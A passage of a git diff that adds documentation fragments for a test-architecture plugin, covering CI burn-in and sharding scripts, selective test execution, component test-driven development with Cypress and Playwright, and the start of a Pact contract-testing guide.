+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
